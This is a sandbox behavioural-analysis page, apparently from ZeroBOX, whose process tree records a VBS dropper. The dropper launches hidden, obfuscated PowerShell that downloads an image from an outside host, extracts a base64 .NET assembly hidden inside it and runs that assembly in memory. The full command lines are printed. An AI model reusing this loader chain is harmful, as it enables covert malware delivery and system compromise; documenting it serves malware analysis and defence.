| ZeroBOX

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Yqmx.vbs

    2552
    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JPfftOMzNBpPfftOMzNG0PfftOMzNYQBnPfftOMzNGUPfftOMzNVQByPfftOMzNGwPfftOMzNIPfftOMzNPfftOMzN9PfftOMzNCPfftOMzNPfftOMzNJwBoPfftOMzNHQPfftOMzNdPfftOMzNBwPfftOMzNHMPfftOMzNOgPfftOMzNvPfftOMzNC8PfftOMzNdQBwPfftOMzNGwPfftOMzNbwBhPfftOMzNGQPfftOMzNZPfftOMzNBlPfftOMzNGkPfftOMzNbQBhPfftOMzNGcPfftOMzNZQBuPfftOMzNHMPfftOMzNLgBjPfftOMzNG8PfftOMzNbQPfftOMzNuPfftOMzNGIPfftOMzNcgPfftOMzNvPfftOMzNGkPfftOMzNbQBhPfftOMzNGcPfftOMzNZQBzPfftOMzNC8PfftOMzNMPfftOMzNPfftOMzNwPfftOMzNDQPfftOMzNLwPfftOMzN2PfftOMzNDMPfftOMzNNPfftOMzNPfftOMzNvPfftOMzNDYPfftOMzNNwPfftOMzN2PfftOMzNC8PfftOMzNbwByPfftOMzNGkPfftOMzNZwBpPfftOMzNG4PfftOMzNYQBsPfftOMzNC8PfftOMzNcgB1PfftOMzNG0PfftOMzNcPfftOMzNBlPfftOMzNC4PfftOMzNagBwPfftOMzNGcPfftOMzNPwPfftOMzNxPfftOMzNDYPfftOMzNOQPfftOMzN3PfftOMzNDPfftOMzNPfftOMzNNQPfftOMzNzPfftOMzNDUPfftOMzNMgPfftOMzN5PfftOMzNCcPfftOMzNOwPfftOMzNkPfftOMzNHcPfftOMzNZQBiPfftOMzNEMPfftOMzNbPfftOMzNBpPfftOMzNGUPfftOMzNbgB0PfftOMzNCPfftOMzNPfftOMzNPQPfftOMzNgPfftOMzNE4PfftOMzNZQB3PfftOMzNC0PfftOMzNTwBiPfftOMzNGoPfftOMzNZQBjPfftOMzNHQPfftOMzNIPfftOMzNBTPfftOMzNHkPfftOMzNcwB0PfftOMzNGUPfftOMzNbQPfftOMzNuPfftOMzNE4PfftOMzNZQB0PfftOMzNC4PfftOMzNVwBlPfftOMzNGIPfftOMzNQwBsPfftOMzNGkPfftOMzNZQBuPfftOMzNHQPfftOMzNOwPfftOMzNkPfftOMzNGkPfftOMzNbQBhPfftOMzNGcPfftOMzNZQBCPfftOMzNHkPfftOMzNdPfftOMzNBlPfftOMzNHMPfftOMzNIPfftOMzNPfftOMzN9PfftOMzNCPfftOMzNPfftOMzNJPfftOMzNB3PfftOMzNGUPfftOMzNYgBDPfftOMzNGwPfftOMzNaQBlPfftOMzNG4PfftOMzNdPfftOMzNPfftOMzNuPfftOMzNEQPfftOMzNbwB3PfftOMzNG4PfftOMzNbPfftOMzNBvPfftOMzNGEPfftOMzNZPfftOMzNBEPfftOMzNGEPfftOMzNdPfftOMzNBhPfftOMzNCgPfftOMzNJPfftOMzNBpPfftOMzNG0PfftOMzNYQBnPfftOMzNGUPfftOMzNVQByPfftOMzNGwPfftOMzNKQPfftOMzN7PfftOMzNCQPfftOMzNaQBtPfftOMzNGEPfftOMzNZwBlPfftOMzNFQPfftOMzNZQB4PfftOMzNHQPfftOMzNIPfftOMzNPfftOMzN9PfftOMzNCPfftOMzNPfftOMzNWwBTPfftOMzNHkPfftOMzNcwB0PfftOMzNGUPfftOMzNbQPfftOMzNuPfftOMzNFQPfftOMzNZQB4PfftOMzNHQPfftOMzNLgBFPfftOMzNG4PfftOMzNYwBvPfftOMzNGQPfftOMzNaQBuPfftOMzNGcPfftOMzNXQPfftOMzN6PfftOMzNDoPfftOMzNVQBUPfftOMzNEYPfftOMzNOPfftOMzNPfftOMzNuPfftOMzNEcPfftOMzNZQB0PfftOMzNFMPfftOMzNdPfftOMzNByPfftOMzNGkPfftOMzNbgBnPfftOMzNCgPfftOMzNJPfftOMzNBpPfftOMzNG0PfftOMzNYQBnPfftOMzNGUPfftOMzNQgB5PfftOMzNHQPfftOMzNZQBzPfftOMzNCkPfftOMzNOwPfftOMzNkPfftOMzNHMPfftOMzNdPfftOMzNBhPfftOMzNHIPfftOMzNdPfftOMzNBGPfftOMzNGwPfftOMzNYQBnPfftOMzNCPfftOMzNPfftOMzNPQPfftOMzNgPfftOMzNCcPfftOMzNPPfftOMzNPfftOMzN8PfftOMzNEIPfftOMzNQQBTPfftOMzNEUPfftOMzNNgPfftOMzN0PfftOMzNF8PfftOMzNUwBUPfftOMzNEEPfftOMzNUgBUPfftOMzND4PfftOMzNPgPfftOMzNnPfftOMzNDsPfftOMzNJPfftOMzNBlPfftOMzNG4PfftOMzNZPfftOMzNBGPfftOMzNGwPfftOMzNYQBnPfftOMzNCPfftOMzNPfftOMzNPQPfftOMzNgPfftOMzNCcPfftOMzNPPfftOMzNPfftOMzN8PfftOMzNEIPfftOMzNQQBTPfftOMzNEUPfftOMzNNgPfftOMzN0PfftOMzNF8PfftOMzNRQBOPfftOMzNEQPfftOMzNPgPfftOMzN+PfftOMzNCcPfftOMzNOwPfftOMzNkPfftOMzNHMPfftOMzNdPfftOMzNBhPfftOMzNHIPfftOMzNdPfftOMzNBJPfftOMzNG4PfftOMzNZPfftOMzNBlPfftOMzNHgPfftOMzNIPfftOMzNPfftOMzN9PfftOMzNCPfftOMzNPfftOMzNJPfftOMzNBpPfftOMzNG0PfftOMzNYQBnPfftOMzNGUPfftOMzNVPfftOMzNBlPfftOMzNHgPfftOMzNdPfftOMzNPfftOMzNuPfftOMzNEkPfftOMzNbgBkPfftOMzNGUPfftOMzNePfftOMzNBPPfftOMzNGYPfftOMzNKPfftOMzNPfftOMzNkPfftOMzNHMPfftOMzNdPfftOMzNBhPfftOMzNHIPfftOMzNdPfftOMzNBGPfftOMzNGwPfftOMzNYQBnPfftOMzNCkPfftOMzNOwPfftOMzNkPfftOMzNGUPfftOMzNbgBkPfftOMzNEkPfftOMzNbgBkPfftOMzNGUPfftOMzNePfftOMzNPfftOMzNgPfftOMzND0PfftOMzNIPfftOMzNPfftOMzNkPfftOMzNGkPfftOMzNbQBhPfftOMzNGcPfftOMzNZQBUPfftOMzNGUPfftOMzNePfftOMzNB0PfftOMzNC4PfftOMzNSQBuPfftOMzNGQPfftOMzNZQB4PfftOMzNE8PfftOMzNZgPfftOMzNoPfftOMzNCQPfftOMzNZQBuPfftOMzNGQPfftOMzNRgBsPfftOMzNGEPfftOMzNZwPfftOMzNpPfftOMzNDsPfftOMzNJPfftOMzNBzPfftOMzNHQPfftOMzNYQByPfftOMzNHQPfftOMzNSQBuPfftOMzNGQPfftOMzNZQB4PfftOMzNCPfftOMzNPfftOMzNLQBnPfftOMzNGUPfftOMzNIPfftOMzNPfftOMzNwPfftOMzNCPfftOMzNPfftOMzNLQBhPfftOMzNG4PfftOMzNZPfftOMzNPfftOMzNgPfftOMzNCQPfftOMzNZQBuPfftOMzNGQPfftOMzNSQBuPfftOMzNGQPfftOMzNZQB4PfftOMzNCPfftOMzNPfftOMzNLQBnPfftOMzNHQPfftOMzNIPfftOMzNPfftOMzNkPfftOMzNHMPfftOMzNdPfftOMzNBhPfftOMzNHIPfftOMzNdPfftOMzNBJPfftOMzNG4PfftOMzNZPfftOMzNBlPfftOMzNHgPfftOMzNOwPfftOMzNkPfftOMzNHMPfftOMzNdPfftOMzNBhPfftOMzNHIPfftOMzNdPfftOMzNBJPfftOMzNG4PfftOMzNZPfftOMzNBlPfftOMzNHgPfftOMzNIPfftOMzNPfftOMzNrPfftOMzND0PfftOMzNIPfftOMzNPfftOMzNkPfftOMzNHMPfftOMzNdPfftOMzNBhPfftOMzNHIPfftOMzNdPfftOMzNBGPfftOMzNGwPfftOMzNYQBnPfftOMzNC4PfftOMzNTPfftOMzNBlPfftOMzNG4PfftOMzNZwB0PfftOMzNGgPfftOMzNOwPfftOMzNkPfftOMzNGIPfftOMzNYQBzPfftOMzNGUPfftOMzNNgPfftOMzN0PfftOMzNEwPfftOMzNZQBuPfftOMzNGcPfftOMzNdPfftOMzNBoPfftOMzNCPfftOMzNPfftOMzNPQPfftOMzNgPfftOMzNCQPfftOMzNZQBuPfftOMzNGQPfftOMzNSQBuPfftOMzNGQPfftOMzNZQB4PfftOMzNCPfftOMzNPfftOMzNLQPfftOMzNgPfftOMzNCQPfftOMzNcwB0PfftOMzNGEPfftOMzNcgB0PfftOMzNEkPfftOMzNbgBkPfftOMzNGUPfftOMzNePfftOMzNPfftOMzN7PfftOMzNCQPfftOMzNYgBhPfftOMzNHMPfftOMzNZQPfftOMzN2PfftOMzNDQPfftOMzNQwBvPfftOMzNG0PfftOMzNbQBhPfftOMzNG4PfftOMzNZPfftOMzNPfftOMzNgPfftOMzND0PfftOMzNIPfftOMzNPfftOMzNkPfftOMzNGkPfftOMzNbQBhPfftOMzNGcPfftOMzNZQBUPfftOMzNGUPfftOMzNePfftOMzNB0PfftOMzNC4PfftOMzNUwB1PfftOMzNGIPfftOMzNcwB0PfftOMzNHIPfftOMzNaQBuPfftOMzNGcPfftOMzNKPfftOMzNPfftOMzNkPfftOMzNHMPfftOMzNdPfftOMzNBhPfftOMzNHIPfftOMzNdPfftOMzNBJPfftOMzNG4PfftOMzNZPfftOMzNBlPfftOMzNHgPfftOMzNLPfftOMzNPfftOMzNgPfftOMzNCQPfftOMzNYgBhPfftOMzNHMPfftOMzNZQPfftOMzN2PfftOMzNDQPfftOMzNTPfftOMzNBlPfftOMzNG4PfftOMzNZwB0PfftOMzNGgPfftOMzNKQPfftOMzN7PfftOMzNCQPfftOMzNYwBvPfftOMzNG0PfftOMzNbQBhPfftOMzNG4PfftOMzNZPfftOMzNBCPfftOMzNHkPfftOMzNdPfftOMzNBlPfftOMzNHMPfftOMzNIPfftOMzNPfftOMzN9PfftOMzNCPfftOMzNPfftOMzNWwBTPfftOMzNHkPfftOMzNcwB0PfftOMzNGUPfftOMzNbQPfftOMzNuPfftOMzNEMPfftOMzNbwBuPfftOMzNHYPfftOMzNZQByPfftOMzNHQPfftOMzNXQPfftOMzN6PfftOMzNDoPfftOMzNRgByPfftOMzNG8PfftOMzNbQBCPfftOMzNGEPfftOMzNcwBlPfftOMzNDYPfftOMzNNPfftOMzNBTPfftOMzNHQPfftOMzNcgBpPfftOMzNG4PfftOMzNZwPfftOMzNoPfftOMzNCQPfftOMzNYgBhPfftOMzNHMPfftOMzNZQPfftOMzN2PfftOMzNDQPfftOMzNQwBvPfftOMzNG0PfftOMzNbQBhPfftOMzNG4PfftOMzNZPfftOMzNPfftOMzNpPfftOMzNDsPfftOMzNJPfftOMzNBsPfftOMzNG8PfftOMzNYQBkPfftOMzNGUPfftOMzNZPfftOMzNBBPfftOMzNHMPfftOMzNcwBlPfftOMzNG0PfftOMzNYgBsPfftOMzNHkPfftOMzNIPfftOMzNPfftOMzN9PfftOMzNCPfftOMzNPfftOMzNWwBTPfftOMzNHkPfftOMzNcwB0PfftOMzNGUPfftOMzNbQPfftOMzNuPfftOMzNFIPfftOMzNZQBmPfftOMzNGwPfftOMzNZQBjPfftOMzNHQPfftOMzNaQBvPfftOMzNG4PfftOMzNLgBBPfftOMzNHMPfftOMzNcwBlPfftOMzNG0PfftOMzNYgBsPfftOMzNHkPfftOMzNXQPfftOMzN6PfftOMzNDoPfftOMzNTPfftOMzNBvPfftOMzNGEPfftOMzNZPfftOMzNPfftOMzNoPfftOMzNCQPfftOMzNYwBvPfftOMzNG0PfftOMzNbQBhPfftOMzNG4PfftOMzNZPfftOMzNBCPfftOMzNHkPfftOMzNdPfftOMzNBlPfftOMzNHMPfftOMzNKQPfftOMzN7PfftOMzNCQPfftOMzNdPfftOMzNB5PfftOMzNHPfftOMzNPfftOMzNZQPfftOMzNgPfftOMzND0PfftOMzNIPfftOMzNPfftOMzNkPfftOMzNGwPfftOMzNbwBhPfftOMzNGQPfftOMzNZQBkPfftOMzNEEPfftOMzNcwBzPfftOMzNGUPfftOMzNbQBiPfftOMzNGwPfftOMzNeQPfftOMzNuPfftOMzNEcPfftOMzNZQB0PfftOMzNFQPfftOMzNeQBwPfftOMzNGUPfftOMzNKPfftOMzNPfftOMzNnPfftOMzNEYPfftOMzNaQBiPfftOMzNGUPfftOMzNcgPfftOMzNuPfftOMzNEgPfftOMzNbwBtPfftOMzNGUPfftOMzNJwPfftOMzNpPfftOMzNDsPfftOMzNJPfftOMzNBtPfftOMzNGUPfftOMzNdPfftOMzNBoPfftOMzNG8PfftOMzNZPfftOMzNPfftOMzNgPfftOMzND0PfftOMzNIPfftOMzNPfftOMzNkPfftOMzNHQPfftOMzNeQBwPfftOMzNGUPfftOMzNLgBHPfftOMzNGUPfftOMzNdPfftOMzNBNPfftOMzNGUPfftOMzNdPfftOMzNBoPfftOMzNG8PfftOMzNZPfftOMzNPfftOMzNoPfftOMzNCcPfftOMzNVgBBPfftOMzNEkPfftOMzNJwPfftOMzNpPfftOMzNC4PfftOMzNSQBuPfftOMzNHYPfftOMzNbwBrPfftOMzNGUPfftOMzNKPfftOMzNPfftOMzNkPfftOMzNG4PfftOMzNdQBsPfftOMzNGwPfftOMzNLPfftOMzNPfftOMzNgPfftOMzNFsPfftOMzNbwBiPfftOMzNGoPfftOMzNZQBjPfftOMzNHQPfftOMzNWwBdPfftOMzNF0PfftOMzNIPfftOMzNPfftOMzNoPfftOMzNCcPfftOMzNZPfftOMzNBIPfftOMzNGgPfftOMzNMPfftOMzNBMPfftOMzNG0PfftOMzNNQPfftOMzN1PfftOMzNGIPfftOMzNUwPfftOMzN4PfftOMzNHgPfftOMzNTgBTPfftOMzNDQPfftOMzNegBNPfftOMzNHkPfftOMzNNPfftOMzNB5PfftOMzNE4PfftOMzNQwPfftOMzN0PfftOMzNHoPfftOMzNTwBUPfftOMzNEUPfftOMzNdgBMPfftOMzNHoPfftOMzNcPfftOMzNB3PfftOMzNGQPfftOMzNSPfftOMzNBSPfftOMzNG8PfftOMzNJwPfftOMzNgPfftOMzNCwPfftOMzNIPfftOMzNPfftOMzNnPfftOMzNGQPfftOMzNZgBkPfftOMzNGYPfftOMzNZPfftOMzNPfftOMzNnPfftOMzNCPfftOMzNPfftOMzNLPfftOMzNPfftOMzNgPfftOMzNCcPfftOMzNZPfftOMzNBmPfftOMzNGQPfftOMzNZgPfftOMzNnPfftOMzNCPfftOMzNPfftOMzNLPfftOMzNPfftOMzNgPfftOMzNCcPfftOMzNZPfftOMzNBmPfftOMzNGQPfftOMzNZgPfftOMzNnPfftOMzNCPfftOMzNPfftOMzNLPfftOMzNPfftOMzNgPfftOMzNCcPfftOMzNZPfftOMzNBhPfftOMzNGQPfftOMzNcwBhPfftOMzNCcPfftOMzNIPfftOMzNPfftOMzNsPfftOMzNCPfftOMzNPfftOMzNJwBkPfftOMzNGUPfftOMzNJwPfftOMzNgPfftOMzNCwPfftOMzNIPfftOMzNPfftOMzNnPfftOMzNGMPfftOMzNdQPfftOMzNnPfftOMzNCkPfftOMzNKQPfftOMzN=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('PfftOMzN','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2696
      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/634/676/original/rumpe.jpg?1697053529';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lm55bS8xNS4zMy4yNC4zOTEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"

        2796

Process contents

No process loaded Click on a process in the tree above to load its data.